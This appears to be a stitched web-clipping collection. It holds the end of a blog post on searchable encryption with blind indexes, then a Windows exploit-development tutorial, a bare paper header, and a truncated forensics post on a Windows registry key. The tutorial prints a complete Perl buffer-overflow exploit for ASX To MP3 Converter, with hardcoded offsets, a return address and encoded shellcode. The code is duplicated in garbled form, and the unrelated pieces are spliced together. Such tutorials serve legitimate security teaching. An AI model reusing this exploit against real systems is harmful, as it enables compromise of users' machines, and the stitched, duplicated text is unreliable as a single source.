### Experimental Academic Designs

There is a lot of academic research going into such topics as homomorphic,
order-revealing, and order-preserving encryption techniques.

As interesting as this work is, the current designs are nowhere near secure
enough to use in a production environment.

For example, order-revealing encryption leaks enough data to infer the
plaintext.

Homomorphic encryption schemes are often repackaging vulnerabilities
\(practical chosen-ciphertext attacks\) as features.

  * Unpadded RSA is homomorphic with respect to multiplication. 
    * If you multiply a ciphertext by an integer, the plaintext you get will be equal to the original message multiplied by the same integer. There are several possible attacks against unpadded RSA, which is why RSA in the real world uses padding \(although often an insecure padding mode\).
  * AES in Counter Mode is homomorphic with respect to XOR. 
    * This is why nonce-reuse defeats the confidentiality of your message in CTR mode \(and non-NMR stream ciphers in general\).

As we've covered in a previous blog post, when it comes to real-world
cryptography, **confidentiality without integrity is the same as no
confidentiality**. What happens if an attacker gains access to the database,
alters ciphertexts, and studies the behavior of the application upon
decryption?

There's potential for ongoing cryptography research to one day produce an
innovative encryption design that doesn't undo decades of research into safe
cryptography primitives and cryptographic protocol designs. However, we're not
there yet, and you don't need to invest into a needlessly complicated research
prototype to solve the problem.

### Dishonorable Mention: Decrypt Every Row

I don't expect most engineers to arrive at this solution without a trace of
sarcasm. The bad idea here is, because you need secure encryption \(see
below\), your only recourse is to query every ciphertext in the database and
then iterate through them, decrypting them one-by-one and performing your
search operation in the application code.

If you go down this route, you will open your application to denial of service
attacks. It will be slow for your legitimate users. This is a cynic's answer,
and you can do much better than that, as we'll demonstrate below.

# Secure Searchable Encryption Made Easy

Let's start by avoiding all the problems outlined in the insecure/ill-advised
section in one fell swoop: All ciphertexts will be the result of an
**authenticated encryption** scheme, preferably with large nonces \(generated
from a secure random number generator\).

With an authenticated encryption scheme, ciphertexts are non-deterministic
\(same message and key, but different nonce, yields a different ciphertext\)
and protected by an authentication tag. Some suitable options include:
XSalsa20-Poly1305, XChacha20-Poly1305, and \(assuming it's not broken before
CAESAR concludes\) NORX64-4-1. If you're using NaCl or libsodium, you can just
use `crypto_secretbox` here.

Consequently, our ciphertexts are **indistinguishable** from random noise, and
protected against **chosen-ciphertext attacks**. That's how secure, boring
encryption ought to be.

However, this presents an immediate challenge: We can't just encrypt arbitrary
messages and query the database for matching ciphertexts. Fortunately, there
is a clever workaround.

### Important: Threat Model Your Usage of Encryption

Before you begin, make sure that encryption is actually making your data
safer. It is important to emphasize that "encrypted storage" isn't the
solution to securing a CRUD app that's vulnerable to SQL injection. Solving
the actual problem \(i.e. preventing the SQL injection\) is the only way to
go.

If encryption is a suitable security control to implement, this implies that
the cryptographic keys used to encrypt/decrypt data are not accessible to the
database software. In most cases, it makes sense to keep the application
server and database server on separate hardware.

## Implementing Literal Search of Encrypted Data

> Possible use-case: Storing social security numbers, but still being able to
> query them.
In order to store encrypted information and still use the plaintext in SELECT
queries, we're going to follow a strategy we call **blind indexing**. The
general idea is to store a keyed hash \(e.g. HMAC\) of the plaintext in a
separate column. It is important that the blind index key be distinct from the
encryption key and unknown to the database server.

For very sensitive information, instead of a simple HMAC, you will want to use
a key-stretching algorithm \(PBKDF2-SHA256, scrypt, Argon2\) with the key
acting as a static salt, to slow down attempts at enumeration. We aren't
worried about offline brute-force attacks in either case, unless an attacker
can obtain the key \(which must not stored in the database\).

So if your table schema looks like this \(in PostgreSQL flavor\):

[code]

    CREATE TABLE humans (
        humanid BIGSERIAL PRIMARY KEY,
        first_name TEXT,
        last_name TEXT,
        ssn TEXT, /* encrypted */
        ssn_bidx TEXT /* blind index */
    );
    CREATE INDEX ON humans (ssn_bidx);
[/code]

You would store the encrypted value in `humans.ssn`. A blind index of the
plaintext SSN would go into `humans.ssn_bidx`. A naive implementation might
look like this:

[code]

    <?php
    /* This is not production-quality code.
     * It's optimized for readability and understanding, not security.
     */
    
    function encryptSSN(string $ssn, string $key): string
    {
        $nonce = random_bytes(24);
        $ciphertext = sodium_crypto_secretbox($ssn, $nonce, $key);
        return bin2hex($nonce . $ciphertext);
    }
    
    function decryptSSN(string $ciphertext, string $key): string
    {
        $decoded = hex2bin($ciphertext);
        $nonce = mb_substr($decoded, 0, 24, '8bit');
        $cipher = mb_substr($decoded, 24, null, '8bit');
        return sodium_crypto_secretbox_open($cipher, $nonce, $key);
    }
    
    function getSSNBlindIndex(string $ssn, string $indexKey): string
    {
        return bin2hex(
            sodium_crypto_pwhash(
                32,
                $ssn,
                $indexKey,
                SODIUM_CRYPTO_PWHASH_OPSLIMIT_MODERATE,
                SODIUM_CRYPTO_PWHASH_MEMLIMIT_MODERATE
            )
        );
    }
    
    function findHumanBySSN(PDO $db, string $ssn, string $indexKey): array
    {
        $index = getSSNBlindIndex($ssn, $indexKey);
        $stmt = $db->prepare('SELECT * FROM humans WHERE ssn_bidx = ?');
        $stmt->execute([$index]);
        return $stmt->fetchAll(PDO::FETCH_ASSOC);
    }
    
[/code]

A more comprehensive proof-of-concept is included in the supplemental material
for my B-Sides Orlando 2017 talk. It's released under the Creative Commons CC0
license, which for most people means the same thing as "public domain".

### Security Analysis and Limitations

Depending on your exact threat model, this solution leaves two questions that
must be answered before it can be adopted:

  1. Is it safe to use, or does it leak data like a sieve?
  2. What are the limitations on its usefulness? \(This one is sort of answered already.\)

Given our example above, assuming your encryption key and your blind index key
are separate, both keys are stored in the webserver, and the database server
doesn't have any way of obtaining these keys, then any attacker that only
compromises the database server \(but not the web server\) will only be able
to learn if several rows share a social security number, but _not_ what the
shared SSN is. This duplicate entry leak is necessary in order for indexing to
be possible, which in turn allows fast SELECT queries from a user-provided
value.

Furthermore, if an attacker is capable of both observing/changing plaintexts
as a normal user of the application while observing the blind indices stored
in the database, they can leverage this into a _chosen-plaintext attack_ ,
where they iterate every possible value as a user and then correlate with the
resultant blind index value. This is more practical in the HMAC scenario than
in the e.g. Argon2 scenario. For high-entropy or low-sensitivity values \(not
SSNs\), the physics of brute force can be on our side.

A much more practical attack for such a criminal would be to substitute values
from one row to another then access the application normally, which will
reveal the plaintext _unless_ a distinct per-row key was employed \(e.g.
`hash_hmac('sha256', $rowID, $masterKey, true)` could even be an effective
mitigation here, although others would be preferable\). The best defense here
is to use an AEAD mode \(passing the primary key as additional associated
data\) so that the ciphertexts are tied to a particular database row. \(This
will not prevent attackers from deleting data, which is a much bigger
challenge.\)

Compared to the amount of information leaked by other solutions, most
applications' threat models should find this to be an acceptable trade-off. As
long as you're using authenticated encryption for encryption, and either HMAC
\(for blind indexing non-sensitive data\) or a password hashing algorithm
\(for blind indexing sensitive data\), it's easy to reason about the security
of your application.

However, it does have one very serious limitation: It only works for exact
matches. If two strings differ in a meaningless way but will always produce a
different cryptographic hash, then searching for one will never yield the
other. If you need to do more advanced queries, but still want to keep your
decryption keys and plaintext values out of the hands of the database server,
we're going to have to get creative.

It is also worth noting that, while HMAC/Argon2 can prevent attackers that do
not possess the key from learning the plaintext values of what is stored in
the database, it might reveal metadata \(e.g. two seemingly-unrelated people
share a street address\) about the real world.

## Implementing Fuzzier Searching for Encrypted Data

> Possible use-case: Encrypting peoples' legal names, and being able to search
> with only partial matches.
Let's build on the previous section, where we built a blind index that allows
you to query the database for exact matches.

This time, instead of adding columns to the existing table, we're going to
store extra index values into a join table.

[code]

    CREATE TABLE humans (
        humanid BIGSERIAL PRIMARY KEY,
        first_name TEXT, /* encrypted */
        last_name TEXT, /* encrypted */
        ssn TEXT, /* encrypted */
    );
    CREATE TABLE humans_filters (
        filterid BIGSERIAL PRIMARY KEY,
        humanid BIGINT REFERENCES humans (humanid),
        filter_label TEXT,
        filter_value TEXT
    );
    /* Creates an index on the pair. If your SQL expert overrules this, feel free to omit it. */
    CREATE INDEX ON humans_filters (filter_label, filter_value);
[/code]

The reason for this change is to normalize our data structures. You can get by
with just adding columns to the existing table, but it's likely to get messy.

The next change is that we're going to store a separate, distinct blind index
per column for every different kind of query we need \(each with its own
key\). For example:

  * Need a case-insensitive lookup that ignores whitespace? 
    * Store a blind index of `preg_replace('/[^a-z]/', '', strtolower($value))`.
  * Need to query the first letter of their last name? 
    * Store a blind index of `strtolower(mb_substr($lastName, 0, 1, $locale))`.
  * Need to match "beings with this letter, ends with that letter"? 
    * Store a blind index of `strtolower($string[0] . $string[-1])`.
  * Need to query the first three letters of their last name and the first letter of their first name? 
    * You guessed it\! Build another index based on partial data.

Every index needs to have a distinct key, and great pains should be taken to
prevent blind indices of subsets of the plaintext from leaking real plaintext
values to a criminal with a knack for crossword puzzles. Only create indexes
for serious business needs, and log access to these parts of your application
aggressively.

### Trading Memory for Time

Thus far, all of the design propositions have been in favor of allowing
developers to write carefully considered SELECT queries, while minimizing the
number of times the decryption subroutine is invoked. Generally, that is where
the train stops and most peoples' goals have been met.

However, there are situations where a mild performance hit in search queries
is acceptable if it means saving a lot of disk space.

The trick here is simple: Truncate your blind indexes to e.g. 16, 32, or 64
bits, and treat them as a Bloom filter:

  * If the blind indices involved in the query match a given row, the data is _probably_ a match. 
    * Your application code will need to perform the decryption for each candidate row and then only serve the actual matches.
  * If the blind indices involved in the query do not match a given row, then the data is _definitely not_ a match.

It may also be worth converting these values from a string to an integer, if
your database server will end up storing it more efficiently.

# Conclusion

I hope I've adequately demonstrated that it is not only possible to build a
system that uses secure encryption while allowing fast queries \(with minimal
information leakage against very privileged attackers\), but that it's
possible to build such a system simply, out of the components provided by
modern cryptography libraries with very little glue.

If you're interested in implementing encrypted database storage into your
software, we'd love to provide you and your company with our consulting
services. Contact us if you're interested.

__ Permalink

__ Discuss

License:  CC-BY-SA 4.0 Intl

  * __ Cryptography
  * __ Encryption
  * __ PHP
  * __ Secret Key Cryptography
  * __ SQL

  

# Windows Exploit Development - Part 3: Changing Offsets and Rebased Modules -
Security SiftSecurity Sift

**Created:**| _8/19/2015 11:38:51 AM_  
---|---  
**Updated:**| _8/19/2015 11:38:51 AM_  
**Author:**| __  
**Tags:**| _Exploit windows-environment_  
  

### Overview

In Part 2 we constructed a basic stack based overflow exploit for ASX To MP3
Converter. As I indicated in that post, the exploit itself is far from
perfect. Successful EIP overwrite is influenced by the file path of the m3u
file. In addition, although application modules are preferred when selecting
jump/call addresses, the application DLL we used was rebased, meaning the
address to our CALL EBX instruction is subject to change and is therefore
unreliable. In this installment we’ll take a closer look at these issues and
some ways we can improve our original exploit to make it more reliable.

### Changing EIP Offsets

One of the things I highlighted in Part 2 was that the exploit for ASX To MP3
Converter only worked if the m3u file was run from the root of the C:\
directory because the offset to EIP overwrite was dependent upon the file
path. If you want to verify, try moving the m3u file from C:\ to your desktop
and retry the exploit in the debugger. Refer to the below screenshot — you
should see the same access violation and a similar entry on the stack.

<img src='img/Temp2_9677.png' width='640' height='87' alt='win_exploit_3_1' />

As you can see, instead of being overwritten with our CALL EBX instruction,
EIP is now being overwritten by the preceding “junk” portion of our payload
made up of all A’s \(\x41\). Since the longer file path was incorporated into
the payload, it has pushed everything to the right and changed our offset to
EIP. For a proof-of-concept exploit this may not be a big deal \(since we were
able to get it to work from at least one location\). However, if you are
performing a penetration test or application security assessment and need to
assign a risk rating to a given vulnerability, it is often influenced by the
likelihood the exploit could be realized. Obviously, an exploit that can only
be triggered from one location on a file system has a lower likelihood of
being realized than one that can be exploited from multiple locations. To
address this issue, we can modify the exploit to include multiple potential
offsets, thereby increasing its likelihood of execution.

If you recall, our completed exploit buffer looked like this:

<img src='img/Temp2_9678.png' width='640' height='97' alt='asx2mp3_buffer3' />

The offset to EIP \(when the m3u file was located at the root of C:\\\) was
26,121 bytes. As we proved by moving our m3u file to the Desktop, a longer
file path causes the EIP overwrite to move to the left into the Junk portion
of the buffer \(all A’s\), thereby decreasing the size of the offset. The good
thing is if the file path is the only influence over the offset, we should be
able to predict exactly where the new offset will be given a particular path.
Let’s pick a different save location for the m3u file to prove this theory.
The full path to the m3u file located on my Desktop is below \(with the
difference from the previous path highlighted in red\):

C:\Documents and Settings\Administrator\Desktop\asx2mp3.m3u.

This new path is 45 characters longer, which means we should adjust our EIP
offset by -45, giving us a new offset of 26,076. Let’s update our exploit code
and see if this works \(change only the offset to the exploit you built in
part 2 to follow along\).

### Rebased Application Modules

Running the exploit with the updated offset on my rebooted Windows machine
produces the following result:

<img src='img/Temp2_9668.png' width='640' height='23' alt='win_exploit_3_3' />

EIP has clearly been overwritten with my chosen CALL EBX address \(0x01C27228
from MSA2Mcodec00.dll\) but the program doesn’t seem to recognize it as a
valid address. I’ve run into another problem here because in my previous
exploit code, I used an address from a “rebased” application module \(DLL\).
Without going into too much detail about rebasing, understand that every
module has a designated base address at which it is supposed to load \(and
compilers often have a default address that they assign to all modules\). If
there is an address conflict at load time, the OS must rebase one of the
modules \(very costly from a performance perspective\). Alternatively, an
application developer may rebase a module ahead of time in an attempt to avoid
such conflicts. In our case, if MSA2Mcodec00.dll is rebased, the address space
changes and as a result, our CALL EBX address changes. Unfortunately, this
impacts the reliability of successful exploit even more so than our EIP offset
problem. Here we have two choices — 1\) see if we can find another application
module that doesn’t implement rebasing \(preferred\) or 2\) use an OS module.
Remember from part 2, the drawback of using an OS DLL \(vs an application
DLL\) is that it reduces the likelihood the exploit will work across different
versions of Windows. That being said, an exploit that works on every Windows
XP machine is better than an exploit that only works on one machine\! We can
use the mona plugin to examine the loaded modules more closely and see which
ones implement rebasing by running the following command:

\!mona find -type instr -s "call ebx"

1 | \!mona find -type instr -s "call ebx"  
---|---  
Below is a screenshot of the beginning of the resulting find.txt file. It
shows all of the modules in which the instruction “call ebx” was found as well
as the attributes associated with each of those modules including whether they
implement rebasing \(note the “rebase” column\). Don’t worry about the other
columns just yet. I’ve highlighted the rebase attribute value for all of the
application modules.

<img src='img/Temp2_9679.png' width='640' height='312' alt='win_exploit_3_2'
/>

Notice there are two with a value of “False” in that column \(highlighted in
orange\). Unfortunately, all of the “call ebx” addresses in both of these
modules contain null bytes, which as you recall from part 2, poses its own set
of problems. It looks like we have no choice but to use a system module. I
would choose from one of the larger dlls such as shell32, user32, kernel32, or
ntdll as they _may_ be less likely to change between OS service packs. Scroll
farther down in the find.txt file to see the actual “call ebx” addresses
found. I’ll choose the first shell32 address listed \(0x7c9f38f6\).

<img src='img/Temp2_9672.png' width='640' height='63' alt='win_exploit_3_4' />

Now, I’ll update the exploit script with the new CALL EBX address from SHELL32
\(note the already-updated EIP offset\), create the m3u file, and run it from
the Desktop.

<img src='img/Temp2_9673.png' width='640' height='538' alt='win_exploit_3_5'
/>

Success\!\!

<img src='img/Temp2_9674.png' width='357' height='226' alt='asx2mp3_calc' />

### Updating The Exploit to Support Multiple Offsets

Ok, so we’ve overcome our address rebasing issue by choosing an OS module and
verified that the offset can be predicted from the length of the resulting
path size of the m3u exploit file. The next step is to incorporate multiple
offsets into our exploit code to increase the likelihood of it being
successfully executed from different locations. We could accomplish this by
simply comprising the junk portion of our buffer of a pattern of repeating
offsets \(instead of using A’s, use EIP + EIP + EIP, etc\). While this
increases the likelihood of successful exploit, it is rather haphazard since
common storage locations \(Desktop, My Documents, etc\) may or may not align
with that pattern. Instead we could generate a list of likely save locations
and place the offset a bit more strategically in our buffer. We could do this
manually, by counting the length of each potential file path and creating an
offset for each location as follows:

<img src='img/Temp2_9675.png' width='640' height='341' alt='win_exploit_3_6'
/>

This would technically get the job done and at the end we’d be left with a
buffer that looks like the following:

JUNK \(A’s\) + EIP + JUNK \(A’s\) + EIP + JUNK \(As\) + EIP … + NOPS +
SHELLCODE + FILL

Of course that’s not very efficient coding and makes adding and removing paths
cumbersome so let’s harness the power of scripting to make it a bit easier to
manage.

First, we’ll create an array of likely paths. I’ve created one with a few
possible paths, though there are more:

<img src='img/Temp2_9671.png' width='640' height='70' alt='win_exploit_3_7' />

I also included the manually calculated offsets \(as comments\) for
illustrative purposes, though by scripting the offset creation we won’t need
to actually do this for each file path. Next, we create a loop and dynamically
build the junk + eip portion of our buffer using the contents of our array.

<img src='img/Temp2_9670.png' width='640' height='194' alt='win_exploit_3_8'
/>

As you can see above, we just loop through the array and use the length of
each file path \(minus the shared ‘C:\’\) to strategically place our offsets.

Our final exploit looks like this:

\#\!/usr/bin/perl \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# \# Exploit Title: ASX to MP3 Converter 3.0.0.100 \(.m3u\) - Local BOF \# Date: 11-16-2013 \# Exploit Author: Mike Czumak \(T\_v3rn1x\) -- @SecuritySift \# Vulnerable Software: ASX to MP3 Converter 3.0.0.100 \# Software: http://www.mini-stream.net/asx-to-mp3-converter/download/ \# Tested On: Windows XP SP3 \# Credits: Older versions found to be vulnerable to similar bof \# -- http://www.exploit-db.com/exploits/8629/ \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# my $buffsize = 50000; \# sets buffer size for consistent sized payload \# the application incorporates the path of the m3u file in the buffer \# this can hinder successful execution by changing the offset to eip \# to make this more reliable, we'll create a buffer w/ several offsets \# to potential file locations \(desktop, my music, my playlists, etc\) \# if the m3u file is placed in any of these locations it should work \# if the m3u file is saved in root dir \(c:\, z:\, etc\) eip offset = 26121 \# we can use that value to calculate other relative offsets based on file path length my @offsets = \( 'C:\Documents and Settings\Administrator\My Documents\My Music\My Playlists\\\', \# offset at 26049 'C:\Documents and Settings\All Users\Documents\My Music\My Playlists\\\', \# offset at 26056 'C:\Documents and Settings\Administrator\My Documents\My Music\\\', \# offset at 26062 'C:\Documents and Settings\All Users\Documents\My Music\\\', \# offset at 26069 'C:\Documents and Settings\Administrator\Desktop\\\', \# offset at 26076 'C:\Documents and Settings\All Users\Desktop\\\', \# offset at 26080 'C:\\\'\); \# offset at 26121 my $eip = pack\('V', 0x7c9f38f6\); \# call ebp C:\Windows\System32\SHELL32.dll $i = 0; foreach \(@offsets\) \{ $curr\_offset = 26121 - \(length\($\_\)\) + 3; \# +3 for shared "c:\" $prev\_offset = 26121 - \(length\($offsets\[$i-1\]\)\) + 3; if \($i eq 0\)\{ \# if it's the first offset build the junk buffer from 0 $junk = "\x41" x $curr\_offset; \# append the eip overwrite to the first offset $offset = $junk.$eip \} else \{ \# build a junk buffer relative to the last offset $junk = "\x41" x \(\($curr\_offset - $prev\_offset\) - 4\); \# append new junk buffer + eip to the previously constructed offset $offset = $offset.$junk.$eip; \} $i = $i + 1; \# increment index counter \} my $nops = "\x90" x 21400; \# offset to shellcode at call ebp \# Calc.exe payload \[size 227\] \# msfpayload windows/exec CMD=calc.exe R | \# msfencode -e x86/shikata\_ga\_nai -c 1 -b '\x00\x0a\x0d\xff' my $shell = "\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9" . "\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92" . "\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84" . "\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e" . "\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1" . "\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27" . "\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb" . "\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b" . "\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2" . "\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37" . "\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3" . "\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef" . "\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb" . "\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf" . "\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83" . "\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3" . "\x9a\xca\xc0"; my $sploit = $offset.$nops.$shell; my $fill = "\x43" x \($buffsize - \(length\($sploit\)\)\); \# fill remainder my $buffer = $sploit.$fill; \# build final buffer \# write the exploit buffer to file my $file = "asx2mp3.m3u"; open\(FILE, ">$file"\); print FILE $buffer; close\(FILE\); print "Exploit file created \[" . $file . "\]\n"; print "Buffer size: " . length\($buffer\) . "\n"; 
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889 | \#\!/usr/bin/perl \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# Exploit Title: ASX to MP3 Converter 3.0.0.100 \(.m3u\) - Local BOF\# Date: 11-16-2013\# Exploit Author: Mike Czumak \(T\_v3rn1x\) -- @SecuritySift\# Vulnerable Software: ASX to MP3 Converter 3.0.0.100 \# Software: http://www.mini-stream.net/asx-to-mp3-converter/download/\# Tested On: Windows XP SP3\# Credits: Older versions found to be vulnerable to similar bof\# -- http://www.exploit-db.com/exploits/8629/\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\# my $buffsize = 50000; \# sets buffer size for consistent sized payload \# the application incorporates the path of the m3u file in the buffer \# this can hinder successful execution by changing the offset to eip\# to make this more reliable, we'll create a buffer w/ several offsets\# to potential file locations \(desktop, my music, my playlists, etc\)\# if the m3u file is placed in any of these locations it should work \# if the m3u file is saved in root dir \(c:\, z:\, etc\) eip offset = 26121\# we can use that value to calculate other relative offsets based on file path length my @offsets = \( 'C:\Documents and Settings\Administrator\My Documents\My Music\My Playlists\\\', \# offset at 26049  'C:\Documents and Settings\All Users\Documents\My Music\My Playlists\\\', \# offset at 26056 'C:\Documents and Settings\Administrator\My Documents\My Music\\\', \# offset at 26062 'C:\Documents and Settings\All Users\Documents\My Music\\\', \# offset at 26069  'C:\Documents and Settings\Administrator\Desktop\\\', \# offset at 26076 'C:\Documents and Settings\All Users\Desktop\\\', \# offset at 26080 'C:\\\'\); \# offset at 26121 my $eip = pack\('V', 0x7c9f38f6\); \# call ebp C:\Windows\System32\SHELL32.dll  $i = 0;foreach \(@offsets\) \{ $curr\_offset = 26121 - \(length\($\_\)\) + 3; \# +3 for shared "c:\" $prev\_offset = 26121 - \(length\($offsets\[$i-1\]\)\) + 3; if \($i eq 0\)\{ \# if it's the first offset build the junk buffer from 0 $junk = "\x41" x $curr\_offset; \# append the eip overwrite to the first offset $offset = $junk.$eip \} else \{ \# build a junk buffer relative to the last offset $junk = "\x41" x \(\($curr\_offset - $prev\_offset\) - 4\); \# append new junk buffer + eip to the previously constructed offset $offset = $offset.$junk.$eip; \} $i = $i + 1; \# increment index counter \} my $nops = "\x90" x 21400; \# offset to shellcode at call ebp \# Calc.exe payload \[size 227\]\# msfpayload windows/exec CMD=calc.exe R | \# msfencode -e x86/shikata\_ga\_nai -c 1 -b '\x00\x0a\x0d\xff'my $shell = "\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9" ."\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92" ."\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84" ."\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e" ."\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1" ."\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27" ."\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb" ."\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b" ."\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2" ."\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37" ."\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3" ."\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef" ."\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb" ."\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf" ."\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83" ."\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3" ."\x9a\xca\xc0"; my $sploit = $offset.$nops.$shell; my $fill = "\x43" x \($buffsize - \(length\($sploit\)\)\); \# fill remaindermy $buffer = $sploit.$fill; \# build final buffer  \# write the exploit buffer to filemy $file = "asx2mp3.m3u";open\(FILE, ">$file"\);print FILE $buffer;close\(FILE\);print "Exploit file created \[" . $file . "\]\n";print "Buffer size: " . length\($buffer\) . "\n";  
---|---  
If you want to visualize how the buffer looks, open the resulting m3u file in
a text editor and you should see the offsets as follows:

<img src='img/Temp2_9669.png' width='640' height='136' alt='win_exploit_3_9'
/>

Even this updated exploit is not perfect due to our use of an OS DLL for EIP
overwrite and the limited number of exploit trigger locations, but it’s
certainly an improvement over our original version from Part 2.

I should mention that in addition to changing offsets influenced by file
paths, it is not entirely uncommon to come across an exploit that has multiple
offsets determined by the way it is launched. Take for example this recently-
posted exploit for RealPlayer 16.0.3.51/16.0.2.32 which incorporates two
offsets/EIP overwrites — one for when the exploit .rmp file is launched
directly and one for when it is opened from within the application. If the
exploit code itself looks slightly different, it’s because it is an SEH-based
buffer overflow, a topic we will get to in a few more posts. For now, if you
do choose to try the exploit on a test machine you may need to make a few
adjustments, depending on your OS. If you’re running Windows XP SP3 you might
need to adjust the $junk2 offset by one to 10515 and depending on which
version of RealPlayer you have, you may need to switch SEH values.

While these were just a couple of examples of locally-executed exploits with
changing/multiple offsets they should provide some insight into how this issue
can present itself when creating exploits and how you might go about
addressing it.

### Conclusion

Over the last two posts we’ve constructed a very basic stack-based buffer
overflow exploit and overcome some minor complications stemming from changing
EIP offsets influenced by the exploit file path and changing module addressing
caused by a rebased application DLL. In the next post, we’ll look at how to
use jump code for situations in which you cannot use a simple CALL/JMP
instruction to reach your shellcode.

<img src='img/Temp2_9676.png' width='30' height='19' />

Related Posts:

  * Windows Exploit Development – Part 1: The Basics
  * Windows Exploit Development – Part 2: Intro to Stack Based Overflows
  * Windows Exploit Development – Part 3: Changing Offset and Rebased Modules
  * Windows Exploit Development – Part 4: Locating Shellcode with Jumps
  * Windows Exploit Development – Part 5: Locating Shellcode with Egghunting
  * Windows Exploit Development – Part 6: SEH Exploits
  * Windows Exploit Development – Part 7: Unicode Buffer Overflows

### Share this:

  * Google
  * Twitter
  * Facebook
  * LinkedIn
  * Email
  * Pinterest
  * Reddit
  * 

# Searching for a Needle in a Haystack: Predicting Security Vulnerabilities
for Windows Vista

**Created:**| _4/15/2010 3:48:33 PM_  
---|---  
**Updated:**| _4/15/2010 3:49:12 PM_  
**Author:**| __  
**Tags:**| _bookmark seeking papers vulnerability statistics security metrics
Metrics_  
  
<img src='img/Temp2_7269' />

# Windows Incident Response: Registry Stuff

**Created:**| _9/8/2011 11:32:00 AM_  
---|---  
**Updated:**| _9/8/2011 11:32:00 AM_  
**Author:**| __  
**Tags:**| _Forensics windows environment_  
  

### Registry Stuff

I ran across a tweet recently from Andrew Case \(@attrc on Twitter\) regarding
a Registry key with some interesting entries; specifically, the key
HKLM\Software\Microsoft\RADAR\HeapLeakDetection.  
  
  
Andrew also recently released his Registry Decoder, "an open source tool that
automates the acquisition, analysis, and reporting of Microsoft Windows
registry contents. The tool was initially funded by the National Institute of
Justice \(NIJ\) and is now ready for public release."  
  
I had an opportunity to take a look at a beta version of this tool, and I can
definitely see the value of having all of the listed functionality available
in one application.  
---  
  
To get an idea of what this key might be all about, I did some research and
found this page at the Microsoft site, with an embedded video. From watching
the video, I learned that RADAR is a technology embedded in Windows 7 that
monitors memory leaks so that data can be collected and used to correct issues
with memory leaks in applications. The developer being interviewed in the
video give four primary goals for RADAR:  
  
\- To perform as near real-time as possible memory leak detection  
  
\- To perform high granularity detection, down to the function  
  
\- To perform root cause analysis; data must be sufficient enough to diagnose
the issue  
  
\- To respect user privacy \(do not collect user data\)  
  
So, what does this mean to the analyst? Well, looking around online, I see
hits for gaming pages, but not much else, with respect to the Registry keys.
Looking at one of my own systems, I see that beneath the above key that there
is a subkey named "DiagnosedApplications", and beneath that several subkeys
with the names of applications, one of which is "Attack Surface Analyzer.exe".
Beneath each of these keys is a value called "LastDetectionTime", and the
QWORD data appears to be a FILETIME object.  
  
At first glance, this would likely be a good location to look for indications
of applications being run; while I agree, I also think that we \(analysts\)
need to have a better understanding of what applications would appear in these
